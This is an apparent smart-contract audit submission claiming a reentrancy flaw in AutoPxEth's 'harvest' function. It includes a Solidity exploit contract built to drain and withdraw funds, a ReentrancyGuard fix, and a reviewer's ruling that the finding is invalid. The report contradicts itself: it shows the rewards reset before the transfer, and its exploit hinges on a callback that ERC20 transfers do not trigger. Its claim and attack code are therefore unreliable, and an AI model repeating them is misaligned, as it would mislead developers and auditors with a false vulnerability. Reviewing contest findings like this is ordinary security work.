'harvest' function in the 'AutoPxEth' contract is vulnerable to reentrancy attack

[c4-bot-9]

Lines of code

https://github.com/redacted-cartel/pirex-eth-contracts/blob/11f30c7e35b67d45deefe405c22a30f352bc5b21/src/AutoPxEth.sol#L418C1-L447C1 #L439

Vulnerability details

Bug: Reentrancy Attack in harvest Function

The harvest function in the AutoPxEth contract is vulnerable toreentrancy attack. This vulnerability exists because an external call is made to transfer tokens before the state variabls are properly updated.

1. It calculates the rewards and assigns them to the _rewards variable.
2. It sets the rewards state variable to zero.
3. It calculates the platform fee and deducts it from _rewards.
4. It makes an external call to transfer the platform fee.
5. It stakes the remaining rewards.
6. It emits Harvest event.

During step 4, when external call to asset.safeTransfer(platform, feeAmount) is made, a malicious contract could re-enter the harvest function before the state variable rewards updated to zero, allowing the attacker to drain funds.

Detailed Impact

1. Fund Draining: An attacker can repeatedly harvest rewards, causing a significant and potentially complete loss of the contract’s token reserves.
2. Operational Disruption: Users will be unable to withdraw their staked assets or rewards, leading to a halt in normal operations.
3. Reputation Damage: Exploitation of this vulnerability can result in loss of user confidence and trust in the platform.

how an attacker could exploit the reentrancy vulnerability in the harvest function to drain the contract’s funds

1. Deploy the AutoPxEth contract with the necessary parameters.
2. Deploy the ReentrancyExploit contract, passing the address of the deployed
3. AutoPxEth contract and the ERC20 token address as parameters.
4. Call the attack function from the ReentrancyExploit contract to start the attack.
5. The attack function calls harvest on the AutoPxEth contract, which triggers the reentrancy exploit, allowing the attacker to drain funds.

   
   // SPDX-License-Identifier: MIT
   pragma solidity 0.8.19;

import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; import "./AutoPxEth.sol"; // Import the vulnerable contract

contract ReentrancyExploit { AutoPxEth public autoPxEth; IERC20 public asset; address public owner; uint256 public attackCount;

constructor(address _autoPxEth, address _asset) {
    autoPxEth = AutoPxEth(_autoPxEth);
    asset = IERC20(_asset);
    owner = msg.sender;
}

function attack() external {
    require(msg.sender == owner, "Not authorized");
    autoPxEth.harvest();
}

function onERC20Received(address, address, uint256, bytes calldata) external returns (bytes4) {
    if (attackCount < 10) {  // Limit reentrancy iterations to avoid out-of-gas errors
        attackCount++;
        autoPxEth.harvest();
    }
    return this.onERC20Received.selector;
}

function withdraw() external {
    require(msg.sender == owner, "Not authorized");
    uint256 balance = asset.balanceOf(address(this));
    asset.transfer(owner, balance);
}

}

After the attack, the attacker can call the withdraw function on the ReentrancyExploit contract to transfer the stolen funds to their address.

## Code with Mitigation

1. Import ReentrancyGuard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

2. Inherit ReentrancyGuard:

contract AutoPxEth is Ownable2Step, ERC4626, ReentrancyGuard { //... rest of the contract }

3. Add nonReentrant Modifier to harvest Function:

function harvest() public nonReentrant updateReward(true) { uint256 _rewards = rewards;

if (_rewards != 0) {
    rewards = 0;

    // Fee for platform
    uint256 feeAmount = (_rewards * platformFee) / FEE_DENOMINATOR;

    // Deduct fee from reward balance
    _rewards -= feeAmount;

    // Claimed rewards should be in pxETH
    asset.safeTransfer(platform, feeAmount);

    // Stake rewards sans fee
    _stake(_rewards);

    emit Harvest(msg.sender, _rewards);
}

}

### Explanation of Mitigation

NonReentrant Modifier: Adding the nonReentrant modifier ensures that function cannot be called reentrantly. This prevents the potential reentrancy attack by blocking any reentrant calls to the harvest function during its execution.
State Updates Before External Calls: Ensuring state variables are fully updated before making any external calls further strengthens the contract's security.

[c4-bot-7]

Discord id(s) for hunter(s): [object Object]

[MiloTruck]

Invalid.

The asset.safeTransfer() call is not user-controlled.